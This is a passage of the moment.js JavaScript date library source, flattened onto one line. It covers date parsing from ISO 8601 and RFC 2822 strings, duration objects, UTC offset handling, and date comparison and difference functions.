1 || a[DATE] > daysInMonth(a[YEAR], a[MONTH]) ? DATE : a[HOUR] < 0 || a[HOUR] > 24 || (a[HOUR] === 24 && (a[MINUTE] !== 0 || a[SECOND] !== 0 || a[MILLISECOND] !== 0)) ? HOUR : a[MINUTE] < 0 || a[MINUTE] > 59 ? MINUTE : a[SECOND] < 0 || a[SECOND] > 59 ? SECOND : a[MILLISECOND] < 0 || a[MILLISECOND] > 999 ? MILLISECOND : -1; if (getParsingFlags(m)._overflowDayOfYear && (overflow < YEAR || overflow > DATE)) { overflow = DATE; } if (getParsingFlags(m)._overflowWeeks && overflow === -1) { overflow = WEEK; } if (getParsingFlags(m)._overflowWeekday && overflow === -1) { overflow = WEEKDAY; } getParsingFlags(m).overflow = overflow; } return m; } // Pick the first defined of two or three arguments. function defaults(a, b, c) { if (a != null) { return a; } if (b != null) { return b; } return c; } function currentDateArray(config) { // hooks is actually the exported moment object var nowValue = new Date(hooks.now()); if (config._useUTC) { return [nowValue.getUTCFullYear(), nowValue.getUTCMonth(), nowValue.getUTCDate()]; } return [nowValue.getFullYear(), nowValue.getMonth(), nowValue.getDate()]; } // convert an array to a date. // the array should mirror the parameters below // note: all values past the year are optional and will default to the lowest possible value. // [year, month, day , hour, minute, second, millisecond] function configFromArray (config) { var i, date, input = [], currentDate, expectedWeekday, yearToUse; if (config._d) { return; } currentDate = currentDateArray(config); //compute day of the year from weeks and weekdays if (config._w && config._a[DATE] == null && config._a[MONTH] == null) { dayOfYearFromWeekInfo(config); } //if the day of the year is set, figure out what it is if (config._dayOfYear != null) { yearToUse = defaults(config._a[YEAR], currentDate[YEAR]); if (config._dayOfYear > daysInYear(yearToUse) || config._dayOfYear === 0) { getParsingFlags(config)._overflowDayOfYear = true; } date = createUTCDate(yearToUse, 0, config._dayOfYear); config._a[MONTH] = date.getUTCMonth(); config._a[DATE] = date.getUTCDate(); } // Default to current date. // * if no year, month, day of month are given, default to today // * if day of month is given, default month and year // * if month is given, default only year // * if year is given, don't default anything for (i = 0; i < 3 && config._a[i] == null; ++i) { config._a[i] = input[i] = currentDate[i]; } // Zero out whatever was not defaulted, including time for (; i < 7; i++) { config._a[i] = input[i] = (config._a[i] == null) ? (i === 2 ? 1 : 0) : config._a[i]; } // Check for 24:00:00.000 if (config._a[HOUR] === 24 && config._a[MINUTE] === 0 && config._a[SECOND] === 0 && config._a[MILLISECOND] === 0) { config._nextDay = true; config._a[HOUR] = 0; } config._d = (config._useUTC ? createUTCDate : createDate).apply(null, input); expectedWeekday = config._useUTC ? config._d.getUTCDay() : config._d.getDay(); // Apply timezone offset from input. The actual utcOffset can be changed // with parseZone. if (config._tzm != null) { config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); } if (config._nextDay) { config._a[HOUR] = 24; } // check for mismatching day of week if (config._w && typeof config._w.d !== 'undefined' && config._w.d !== expectedWeekday) { getParsingFlags(config).weekdayMismatch = true; } } function dayOfYearFromWeekInfo(config) { var w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow; w = config._w; if (w.GG != null || w.W != null || w.E != null) { dow = 1; doy = 4; // TODO: We need to take the current isoWeekYear, but that depends on // how we interpret now (local, utc, fixed offset). So create // a now version of current config (take local/utc/offset flags, and // create now). weekYear = defaults(w.GG, config._a[YEAR], weekOfYear(createLocal(), 1, 4).year); week = defaults(w.W, 1); weekday = defaults(w.E, 1); if (weekday < 1 || weekday > 7) { weekdayOverflow = true; } } else { dow = config._locale._week.dow; doy = config._locale._week.doy; var curWeek = weekOfYear(createLocal(), dow, doy); weekYear = defaults(w.gg, config._a[YEAR], curWeek.year); // Default to current week. week = defaults(w.w, curWeek.week); if (w.d != null) { // weekday -- low day numbers are considered next week weekday = w.d; if (weekday < 0 || weekday > 6) { weekdayOverflow = true; } } else if (w.e != null) { // local weekday -- counting starts from begining of week weekday = w.e + dow; if (w.e < 0 || w.e > 6) { weekdayOverflow = true; } } else { // default to begining of week weekday = dow; } } if (week < 1 || week > weeksInYear(weekYear, dow, doy)) { getParsingFlags(config)._overflowWeeks = true; } else if (weekdayOverflow != null) { getParsingFlags(config)._overflowWeekday = true; } else { temp = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy); config._a[YEAR] = temp.year; config._dayOfYear = temp.dayOfYear; } } // iso 8601 regex // 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00) var extendedIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; var basicIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; var tzRegex = /Z|[+-]\d\d(?::?\d\d)?/; var isoDates = [ ['YYYYYY-MM-DD', /[+-]\d{6}-\d\d-\d\d/], ['YYYY-MM-DD', /\d{4}-\d\d-\d\d/], ['GGGG-[W]WW-E', /\d{4}-W\d\d-\d/], ['GGGG-[W]WW', /\d{4}-W\d\d/, false], ['YYYY-DDD', /\d{4}-\d{3}/], ['YYYY-MM', /\d{4}-\d\d/, false], ['YYYYYYMMDD', /[+-]\d{10}/], ['YYYYMMDD', /\d{8}/], // YYYYMM is NOT allowed by the standard ['GGGG[W]WWE', /\d{4}W\d{3}/], ['GGGG[W]WW', /\d{4}W\d{2}/, false], ['YYYYDDD', /\d{7}/] ]; // iso time formats and regexes var isoTimes = [ ['HH:mm:ss.SSSS', /\d\d:\d\d:\d\d\.\d+/], ['HH:mm:ss,SSSS', /\d\d:\d\d:\d\d,\d+/], ['HH:mm:ss', /\d\d:\d\d:\d\d/], ['HH:mm', /\d\d:\d\d/], ['HHmmss.SSSS', /\d\d\d\d\d\d\.\d+/], ['HHmmss,SSSS', /\d\d\d\d\d\d,\d+/], ['HHmmss', /\d\d\d\d\d\d/], ['HHmm', /\d\d\d\d/], ['HH', /\d\d/] ]; var aspNetJsonRegex = /^\/?Date\((\-?\d+)/i; // date from iso format function configFromISO(config) { var i, l, string = config._i, match = extendedIsoRegex.exec(string) || basicIsoRegex.exec(string), allowTime, dateFormat, timeFormat, tzFormat; if (match) { getParsingFlags(config).iso = true; for (i = 0, l = isoDates.length; i < l; i++) { if (isoDates[i][1].exec(match[1])) { dateFormat = isoDates[i][0]; allowTime = isoDates[i][2] !== false; break; } } if (dateFormat == null) { config._isValid = false; return; } if (match[3]) { for (i = 0, l = isoTimes.length; i < l; i++) { if (isoTimes[i][1].exec(match[3])) { // match[2] should be 'T' or space timeFormat = (match[2] || ' ') + isoTimes[i][0]; break; } } if (timeFormat == null) { config._isValid = false; return; } } if (!allowTime && timeFormat != null) { config._isValid = false; return; } if (match[4]) { if (tzRegex.exec(match[4])) { tzFormat = 'Z'; } else { config._isValid = false; return; } } config._f = dateFormat + (timeFormat || '') + (tzFormat || ''); configFromStringAndFormat(config); } else { config._isValid = false; } } // RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3 var rfc2822 = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/; function extractFromRFC2822Strings(yearStr, monthStr, dayStr, hourStr, minuteStr, secondStr) { var result = [ untruncateYear(yearStr), defaultLocaleMonthsShort.indexOf(monthStr), parseInt(dayStr, 10), parseInt(hourStr, 10), parseInt(minuteStr, 10) ]; if (secondStr) { result.push(parseInt(secondStr, 10)); } return result; } function untruncateYear(yearStr) { var year = parseInt(yearStr, 10); if (year <= 49) { return 2000 + year; } else if (year <= 999) { return 1900 + year; } return year; } function preprocessRFC2822(s) { // Remove comments and folding whitespace and replace multiple-spaces with a single space return s.replace(/\([^)]*\)|[\n\t]/g, ' ').replace(/(\s\s+)/g, ' ').trim(); } function checkWeekday(weekdayStr, parsedInput, config) { if (weekdayStr) { // TODO: Replace the vanilla JS Date object with an indepentent day-of-week check. var weekdayProvided = defaultLocaleWeekdaysShort.indexOf(weekdayStr), weekdayActual = new Date(parsedInput[0], parsedInput[1], parsedInput[2]).getDay(); if (weekdayProvided !== weekdayActual) { getParsingFlags(config).weekdayMismatch = true; config._isValid = false; return false; } } return true; } var obsOffsets = { UT: 0, GMT: 0, EDT: -4 * 60, EST: -5 * 60, CDT: -5 * 60, CST: -6 * 60, MDT: -6 * 60, MST: -7 * 60, PDT: -7 * 60, PST: -8 * 60 }; function calculateOffset(obsOffset, militaryOffset, numOffset) { if (obsOffset) { return obsOffsets[obsOffset]; } else if (militaryOffset) { // the only allowed military tz is Z return 0; } else { var hm = parseInt(numOffset, 10); var m = hm % 100, h = (hm - m) / 100; return h * 60 + m; } } // date and time from ref 2822 format function configFromRFC2822(config) { var match = rfc2822.exec(preprocessRFC2822(config._i)); if (match) { var parsedArray = extractFromRFC2822Strings(match[4], match[3], match[2], match[5], match[6], match[7]); if (!checkWeekday(match[1], parsedArray, config)) { return; } config._a = parsedArray; config._tzm = calculateOffset(match[8], match[9], match[10]); config._d = createUTCDate.apply(null, config._a); config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); getParsingFlags(config).rfc2822 = true; } else { config._isValid = false; } } // date from iso format or fallback function configFromString(config) { var matched = aspNetJsonRegex.exec(config._i); if (matched !== null) { config._d = new Date(+matched[1]); return; } configFromISO(config); if (config._isValid === false) { delete config._isValid; } else { return; } configFromRFC2822(config); if (config._isValid === false) { delete config._isValid; } else { return; } // Final attempt, use Input Fallback hooks.createFromInputFallback(config); } hooks.createFromInputFallback = deprecate( 'value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), ' + 'which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are ' + 'discouraged and will be removed in an upcoming major release. Please refer to ' + 'http://momentjs.com/guides/#/warnings/js-date/ for more info.', function (config) { config._d = new Date(config._i + (config._useUTC ? ' UTC' : '')); } ); // constant that refers to the ISO standard hooks.ISO_8601 = function () {}; // constant that refers to the RFC 2822 form hooks.RFC_2822 = function () {}; // date from string and format string function configFromStringAndFormat(config) { // TODO: Move this to another part of the creation flow to prevent circular deps if (config._f === hooks.ISO_8601) { configFromISO(config); return; } if (config._f === hooks.RFC_2822) { configFromRFC2822(config); return; } config._a = []; getParsingFlags(config).empty = true; // This array is used to make a Date, either with `new Date` or `Date.UTC` var string = '' + config._i, i, parsedInput, tokens, token, skipped, stringLength = string.length, totalParsedInputLength = 0; tokens = expandFormat(config._f, config._locale).match(formattingTokens) || []; for (i = 0; i < tokens.length; i++) { token = tokens[i]; parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0]; // console.log('token', token, 'parsedInput', parsedInput, // 'regex', getParseRegexForToken(token, config)); if (parsedInput) { skipped = string.substr(0, string.indexOf(parsedInput)); if (skipped.length > 0) { getParsingFlags(config).unusedInput.push(skipped); } string = string.slice(string.indexOf(parsedInput) + parsedInput.length); totalParsedInputLength += parsedInput.length; } // don't parse if it's not a known token if (formatTokenFunctions[token]) { if (parsedInput) { getParsingFlags(config).empty = false; } else { getParsingFlags(config).unusedTokens.push(token); } addTimeToArrayFromToken(token, parsedInput, config); } else if (config._strict && !parsedInput) { getParsingFlags(config).unusedTokens.push(token); } } // add remaining unparsed input length to the string getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength; if (string.length > 0) { getParsingFlags(config).unusedInput.push(string); } // clear _12h flag if hour is <= 12 if (config._a[HOUR] <= 12 && getParsingFlags(config).bigHour === true && config._a[HOUR] > 0) { getParsingFlags(config).bigHour = undefined; } getParsingFlags(config).parsedDateParts = config._a.slice(0); getParsingFlags(config).meridiem = config._meridiem; // handle meridiem config._a[HOUR] = meridiemFixWrap(config._locale, config._a[HOUR], config._meridiem); configFromArray(config); checkOverflow(config); } function meridiemFixWrap (locale, hour, meridiem) { var isPm; if (meridiem == null) { // nothing to do return hour; } if (locale.meridiemHour != null) { return locale.meridiemHour(hour, meridiem); } else if (locale.isPM != null) { // Fallback isPm = locale.isPM(meridiem); if (isPm && hour < 12) { hour += 12; } if (!isPm && hour === 12) { hour = 0; } return hour; } else { // this is not supposed to happen return hour; } } // date from string and array of format strings function configFromStringAndArray(config) { var tempConfig, bestMoment, scoreToBeat, i, currentScore; if (config._f.length === 0) { getParsingFlags(config).invalidFormat = true; config._d = new Date(NaN); return; } for (i = 0; i < config._f.length; i++) { currentScore = 0; tempConfig = copyConfig({}, config); if (config._useUTC != null) { tempConfig._useUTC = config._useUTC; } tempConfig._f = config._f[i]; configFromStringAndFormat(tempConfig); if (!isValid(tempConfig)) { continue; } // if there is any input that was not parsed add a penalty for that format currentScore += getParsingFlags(tempConfig).charsLeftOver; //or tokens currentScore += getParsingFlags(tempConfig).unusedTokens.length * 10; getParsingFlags(tempConfig).score = currentScore; if (scoreToBeat == null || currentScore < scoreToBeat) { scoreToBeat = currentScore; bestMoment = tempConfig; } } extend(config, bestMoment || tempConfig); } function configFromObject(config) { if (config._d) { return; } var i = normalizeObjectUnits(config._i); config._a = map([i.year, i.month, i.day || i.date, i.hour, i.minute, i.second, i.millisecond], function (obj) { return obj && parseInt(obj, 10); }); configFromArray(config); } function createFromConfig (config) { var res = new Moment(checkOverflow(prepareConfig(config))); if (res._nextDay) { // Adding is smart enough around DST res.add(1, 'd'); res._nextDay = undefined; } return res; } function prepareConfig (config) { var input = config._i, format = config._f; config._locale = config._locale || getLocale(config._l); if (input === null || (format === undefined && input === '')) { return createInvalid({nullInput: true}); } if (typeof input === 'string') { config._i = input = config._locale.preparse(input); } if (isMoment(input)) { return new Moment(checkOverflow(input)); } else if (isDate(input)) { config._d = input; } else if (isArray(format)) { configFromStringAndArray(config); } else if (format) { configFromStringAndFormat(config); } else { configFromInput(config); } if (!isValid(config)) { config._d = null; } return config; } function configFromInput(config) { var input = config._i; if (isUndefined(input)) { config._d = new Date(hooks.now()); } else if (isDate(input)) { config._d = new Date(input.valueOf()); } else if (typeof input === 'string') { configFromString(config); } else if (isArray(input)) { config._a = map(input.slice(0), function (obj) { return parseInt(obj, 10); }); configFromArray(config); } else if (isObject(input)) { configFromObject(config); } else if (isNumber(input)) { // from milliseconds config._d = new Date(input); } else { hooks.createFromInputFallback(config); } } function createLocalOrUTC (input, format, locale, strict, isUTC) { var c = {}; if (locale === true || locale === false) { strict = locale; locale = undefined; } if ((isObject(input) && isObjectEmpty(input)) || (isArray(input) && input.length === 0)) { input = undefined; } // object construction must be done this way. // https://github.com/moment/moment/issues/1423 c._isAMomentObject = true; c._useUTC = c._isUTC = isUTC; c._l = locale; c._i = input; c._f = format; c._strict = strict; return createFromConfig(c); } function createLocal (input, format, locale, strict) { return createLocalOrUTC(input, format, locale, strict, false); } var prototypeMin = deprecate( 'moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/', function () { var other = createLocal.apply(null, arguments); if (this.isValid() && other.isValid()) { return other < this ? this : other; } else { return createInvalid(); } } ); var prototypeMax = deprecate( 'moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/', function () { var other = createLocal.apply(null, arguments); if (this.isValid() && other.isValid()) { return other > this ? this : other; } else { return createInvalid(); } } ); // Pick a moment m from moments so that m[fn](other) is true for all // other. This relies on the function fn to be transitive. // // moments should either be an array of moment objects or an array, whose // first element is an array of moment objects. function pickBy(fn, moments) { var res, i; if (moments.length === 1 && isArray(moments[0])) { moments = moments[0]; } if (!moments.length) { return createLocal(); } res = moments[0]; for (i = 1; i < moments.length; ++i) { if (!moments[i].isValid() || moments[i][fn](res)) { res = moments[i]; } } return res; } // TODO: Use [].sort instead? function min () { var args = [].slice.call(arguments, 0); return pickBy('isBefore', args); } function max () { var args = [].slice.call(arguments, 0); return pickBy('isAfter', args); } var now = function () { return Date.now ? Date.now() : +(new Date()); }; var ordering = ['year', 'quarter', 'month', 'week', 'day', 'hour', 'minute', 'second', 'millisecond']; function isDurationValid(m) { for (var key in m) { if (!(indexOf.call(ordering, key) !== -1 && (m[key] == null || !isNaN(m[key])))) { return false; } } var unitHasDecimal = false; for (var i = 0; i < ordering.length; ++i) { if (m[ordering[i]]) { if (unitHasDecimal) { return false; // only allow non-integers for smallest unit } if (parseFloat(m[ordering[i]]) !== toInt(m[ordering[i]])) { unitHasDecimal = true; } } } return true; } function isValid$1() { return this._isValid; } function createInvalid$1() { return createDuration(NaN); } function Duration (duration) { var normalizedInput = normalizeObjectUnits(duration), years = normalizedInput.year || 0, quarters = normalizedInput.quarter || 0, months = normalizedInput.month || 0, weeks = normalizedInput.week || 0, days = normalizedInput.day || 0, hours = normalizedInput.hour || 0, minutes = normalizedInput.minute || 0, seconds = normalizedInput.second || 0, milliseconds = normalizedInput.millisecond || 0; this._isValid = isDurationValid(normalizedInput); // representation for dateAddRemove this._milliseconds = +milliseconds + seconds * 1e3 + // 1000 minutes * 6e4 + // 1000 * 60 hours * 1000 * 60 * 60; //using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978 // Because of dateAddRemove treats 24 hours as different from a // day when working around DST, we need to store them separately this._days = +days + weeks * 7; // It is impossible to translate months into days without knowing // which months you are are talking about, so we have to store // it separately. this._months = +months + quarters * 3 + years * 12; this._data = {}; this._locale = getLocale(); this._bubble(); } function isDuration (obj) { return obj instanceof Duration; } function absRound (number) { if (number < 0) { return Math.round(-1 * number) * -1; } else { return Math.round(number); } } // FORMATTING function offset (token, separator) { addFormatToken(token, 0, 0, function () { var offset = this.utcOffset(); var sign = '+'; if (offset < 0) { offset = -offset; sign = '-'; } return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2); }); } offset('Z', ':'); offset('ZZ', ''); // PARSING addRegexToken('Z', matchShortOffset); addRegexToken('ZZ', matchShortOffset); addParseToken(['Z', 'ZZ'], function (input, array, config) { config._useUTC = true; config._tzm = offsetFromString(matchShortOffset, input); }); // HELPERS // timezone chunker // '+10:00' > ['10', '00'] // '-1530' > ['-15', '30'] var chunkOffset = /([\+\-]|\d\d)/gi; function offsetFromString(matcher, string) { var matches = (string || '').match(matcher); if (matches === null) { return null; } var chunk = matches[matches.length - 1] || []; var parts = (chunk + '').match(chunkOffset) || ['-', 0, 0]; var minutes = +(parts[1] * 60) + toInt(parts[2]); return minutes === 0 ? 0 : parts[0] === '+' ? minutes : -minutes; } // Return a moment from input, that is local/utc/zone equivalent to model. function cloneWithOffset(input, model) { var res, diff; if (model._isUTC) { res = model.clone(); diff = (isMoment(input) || isDate(input) ? input.valueOf() : createLocal(input).valueOf()) - res.valueOf(); // Use low-level api, because this fn is low-level api. res._d.setTime(res._d.valueOf() + diff); hooks.updateOffset(res, false); return res; } else { return createLocal(input).local(); } } function getDateOffset (m) { // On Firefox.24 Date#getTimezoneOffset returns a floating point. // https://github.com/moment/moment/pull/1871 return -Math.round(m._d.getTimezoneOffset() / 15) * 15; } // HOOKS // This function will be called whenever a moment is mutated. // It is intended to keep the offset in sync with the timezone. hooks.updateOffset = function () {}; // MOMENTS // keepLocalTime = true means only change the timezone, without // affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]--> // 5:31:26 +0200 It is possible that 5:31:26 doesn't exist with offset // +0200, so we adjust the time as needed, to be valid. // // Keeping the time actually adds/subtracts (one hour) // from the actual represented time. That is why we call updateOffset // a second time. In case it wants us to change the offset again // _changeInProgress == true case, then we have to adjust, because // there is no such time in the given timezone. function getSetOffset (input, keepLocalTime, keepMinutes) { var offset = this._offset || 0, localAdjust; if (!this.isValid()) { return input != null ? this : NaN; } if (input != null) { if (typeof input === 'string') { input = offsetFromString(matchShortOffset, input); if (input === null) { return this; } } else if (Math.abs(input) < 16 && !keepMinutes) { input = input * 60; } if (!this._isUTC && keepLocalTime) { localAdjust = getDateOffset(this); } this._offset = input; this._isUTC = true; if (localAdjust != null) { this.add(localAdjust, 'm'); } if (offset !== input) { if (!keepLocalTime || this._changeInProgress) { addSubtract(this, createDuration(input - offset, 'm'), 1, false); } else if (!this._changeInProgress) { this._changeInProgress = true; hooks.updateOffset(this, true); this._changeInProgress = null; } } return this; } else { return this._isUTC ? offset : getDateOffset(this); } } function getSetZone (input, keepLocalTime) { if (input != null) { if (typeof input !== 'string') { input = -input; } this.utcOffset(input, keepLocalTime); return this; } else { return -this.utcOffset(); } } function setOffsetToUTC (keepLocalTime) { return this.utcOffset(0, keepLocalTime); } function setOffsetToLocal (keepLocalTime) { if (this._isUTC) { this.utcOffset(0, keepLocalTime); this._isUTC = false; if (keepLocalTime) { this.subtract(getDateOffset(this), 'm'); } } return this; } function setOffsetToParsedOffset () { if (this._tzm != null) { this.utcOffset(this._tzm, false, true); } else if (typeof this._i === 'string') { var tZone = offsetFromString(matchOffset, this._i); if (tZone != null) { this.utcOffset(tZone); } else { this.utcOffset(0, true); } } return this; } function hasAlignedHourOffset (input) { if (!this.isValid()) { return false; } input = input ? createLocal(input).utcOffset() : 0; return (this.utcOffset() - input) % 60 === 0; } function isDaylightSavingTime () { return ( this.utcOffset() > this.clone().month(0).utcOffset() || this.utcOffset() > this.clone().month(5).utcOffset() ); } function isDaylightSavingTimeShifted () { if (!isUndefined(this._isDSTShifted)) { return this._isDSTShifted; } var c = {}; copyConfig(c, this); c = prepareConfig(c); if (c._a) { var other = c._isUTC ? createUTC(c._a) : createLocal(c._a); this._isDSTShifted = this.isValid() && compareArrays(c._a, other.toArray()) > 0; } else { this._isDSTShifted = false; } return this._isDSTShifted; } function isLocal () { return this.isValid() ? !this._isUTC : false; } function isUtcOffset () { return this.isValid() ? this._isUTC : false; } function isUtc () { return this.isValid() ? this._isUTC && this._offset === 0 : false; } // ASP.NET json date format regex var aspNetRegex = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/; // from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html // somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere // and further modified to allow for strings containing both week and day var isoRegex = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/; function createDuration (input, key) { var duration = input, // matching against regexp is expensive, do it on demand match = null, sign, ret, diffRes; if (isDuration(input)) { duration = { ms : input._milliseconds, d : input._days, M : input._months }; } else if (isNumber(input)) { duration = {}; if (key) { duration[key] = input; } else { duration.milliseconds = input; } } else if (!!(match = aspNetRegex.exec(input))) { sign = (match[1] === '-') ? -1 : 1; duration = { y : 0, d : toInt(match[DATE]) * sign, h : toInt(match[HOUR]) * sign, m : toInt(match[MINUTE]) * sign, s : toInt(match[SECOND]) * sign, ms : toInt(absRound(match[MILLISECOND] * 1000)) * sign // the millisecond decimal point is included in the match }; } else if (!!(match = isoRegex.exec(input))) { sign = (match[1] === '-') ? -1 : (match[1] === '+') ? 1 : 1; duration = { y : parseIso(match[2], sign), M : parseIso(match[3], sign), w : parseIso(match[4], sign), d : parseIso(match[5], sign), h : parseIso(match[6], sign), m : parseIso(match[7], sign), s : parseIso(match[8], sign) }; } else if (duration == null) {// checks for null or undefined duration = {}; } else if (typeof duration === 'object' && ('from' in duration || 'to' in duration)) { diffRes = momentsDifference(createLocal(duration.from), createLocal(duration.to)); duration = {}; duration.ms = diffRes.milliseconds; duration.M = diffRes.months; } ret = new Duration(duration); if (isDuration(input) && hasOwnProp(input, '_locale')) { ret._locale = input._locale; } return ret; } createDuration.fn = Duration.prototype; createDuration.invalid = createInvalid$1; function parseIso (inp, sign) { // We'd normally use ~~inp for this, but unfortunately it also // converts floats to ints. // inp may be undefined, so careful calling replace on it. var res = inp && parseFloat(inp.replace(',', '.')); // apply sign while we're at it return (isNaN(res) ? 0 : res) * sign; } function positiveMomentsDifference(base, other) { var res = {milliseconds: 0, months: 0}; res.months = other.month() - base.month() + (other.year() - base.year()) * 12; if (base.clone().add(res.months, 'M').isAfter(other)) { --res.months; } res.milliseconds = +other - +(base.clone().add(res.months, 'M')); return res; } function momentsDifference(base, other) { var res; if (!(base.isValid() && other.isValid())) { return {milliseconds: 0, months: 0}; } other = cloneWithOffset(other, base); if (base.isBefore(other)) { res = positiveMomentsDifference(base, other); } else { res = positiveMomentsDifference(other, base); res.milliseconds = -res.milliseconds; res.months = -res.months; } return res; } // TODO: remove 'name' arg after deprecation is removed function createAdder(direction, name) { return function (val, period) { var dur, tmp; //invert the arguments, but complain about it if (period !== null && !isNaN(+period)) { deprecateSimple(name, 'moment().' + name + '(period, number) is deprecated. Please use moment().' + name + '(number, period). ' + 'See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.'); tmp = val; val = period; period = tmp; } val = typeof val === 'string' ? +val : val; dur = createDuration(val, period); addSubtract(this, dur, direction); return this; }; } function addSubtract (mom, duration, isAdding, updateOffset) { var milliseconds = duration._milliseconds, days = absRound(duration._days), months = absRound(duration._months); if (!mom.isValid()) { // No op return; } updateOffset = updateOffset == null ? true : updateOffset; if (months) { setMonth(mom, get(mom, 'Month') + months * isAdding); } if (days) { set$1(mom, 'Date', get(mom, 'Date') + days * isAdding); } if (milliseconds) { mom._d.setTime(mom._d.valueOf() + milliseconds * isAdding); } if (updateOffset) { hooks.updateOffset(mom, days || months); } } var add = createAdder(1, 'add'); var subtract = createAdder(-1, 'subtract'); function getCalendarFormat(myMoment, now) { var diff = myMoment.diff(now, 'days', true); return diff < -6 ? 'sameElse' : diff < -1 ? 'lastWeek' : diff < 0 ? 'lastDay' : diff < 1 ? 'sameDay' : diff < 2 ? 'nextDay' : diff < 7 ? 'nextWeek' : 'sameElse'; } function calendar$1 (time, formats) { // We want to compare the start of today, vs this. // Getting start-of-today depends on whether we're local/utc/offset or not. var now = time || createLocal(), sod = cloneWithOffset(now, this).startOf('day'), format = hooks.calendarFormat(this, sod) || 'sameElse'; var output = formats && (isFunction(formats[format]) ? formats[format].call(this, now) : formats[format]); return this.format(output || this.localeData().calendar(format, this, createLocal(now))); } function clone () { return new Moment(this); } function isAfter (input, units) { var localInput = isMoment(input) ? input : createLocal(input); if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(!isUndefined(units) ? units : 'millisecond'); if (units === 'millisecond') { return this.valueOf() > localInput.valueOf(); } else { return localInput.valueOf() < this.clone().startOf(units).valueOf(); } } function isBefore (input, units) { var localInput = isMoment(input) ? input : createLocal(input); if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(!isUndefined(units) ? units : 'millisecond'); if (units === 'millisecond') { return this.valueOf() < localInput.valueOf(); } else { return this.clone().endOf(units).valueOf() < localInput.valueOf(); } } function isBetween (from, to, units, inclusivity) { inclusivity = inclusivity || '()'; return (inclusivity[0] === '(' ? this.isAfter(from, units) : !this.isBefore(from, units)) && (inclusivity[1] === ')' ? this.isBefore(to, units) : !this.isAfter(to, units)); } function isSame (input, units) { var localInput = isMoment(input) ? input : createLocal(input), inputMs; if (!(this.isValid() && localInput.isValid())) { return false; } units = normalizeUnits(units || 'millisecond'); if (units === 'millisecond') { return this.valueOf() === localInput.valueOf(); } else { inputMs = localInput.valueOf(); return this.clone().startOf(units).valueOf() <= inputMs && inputMs <= this.clone().endOf(units).valueOf(); } } function isSameOrAfter (input, units) { return this.isSame(input, units) || this.isAfter(input,units); } function isSameOrBefore (input, units) { return this.isSame(input, units) || this.isBefore(input,units); } function diff (input, units, asFloat) { var that, zoneDelta, delta, output; if (!this.isValid()) { return NaN; } that = cloneWithOffset(input, this); if (!that.isValid()) { return NaN; } zoneDelta = (that.utcOffset() - this.utcOffset()) * 6e4; units = normalizeUnits(units); switch (units) { case 'year': output = monthDiff(this, that) / 12; break; case 'month': output = monthDiff(this, that); break; case 'quarter': output = monthDiff(this, that) / 3; break; case 'second': output = (this - that) / 1e3; break; // 1000 case 'minute': output = (this - that) / 6e4; break; // 1000 * 60 case 'hour': output = (this - that) / 36e5; break; // 1000 * 60 * 60 case 'day': output = (this - that - zoneDelta) / 864e5; break; // 1000 * 60 * 60 * 24, negate dst case 'week': output = (this - that - zoneDelta) / 6048e5; break; // 1000 * 60 * 60 * 24 * 7, negate dst default: output = this - that; } return asFloat ? output : absFloor(output); } function monthDiff (a, b) { // difference in months var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()), // b is in (anchor - 1 month, anchor + 1 month) anchor = a.clone().add(wholeMonthDiff, 'months'), anchor2, adjust; if (b - anchor < 0) { anchor2 = a.clone().add(wholeMonthDiff - 1, 'months'); // linear across the month adjust = (b - anchor) / (anchor - anchor2); } else { anchor2 = a.clone().add(wholeMonthDiff + 1, 'months'); // linear across the month adjust = (b - anchor) / (anchor2 - anchor); } //check for negative zero, return zero if negative zero return -(wholeMonthDiff + adjust) || 0; } hooks.defaultFormat = 'YYYY-MM-DDTHH:mm:ssZ'; hooks.defaultFormatUtc = 'YYYY-MM-DDTHH:mm:ss[Z]'; function toString () { return this.clone().locale('en').format('ddd MMM DD YYYY HH:mm:ss [GMT]ZZ'); } function toISOString(keepOffset) { if (!this.isValid()) { return null; } var utc = keepOffset !== true; var m = utc ? this.clone().utc() : this; if (m.year() < 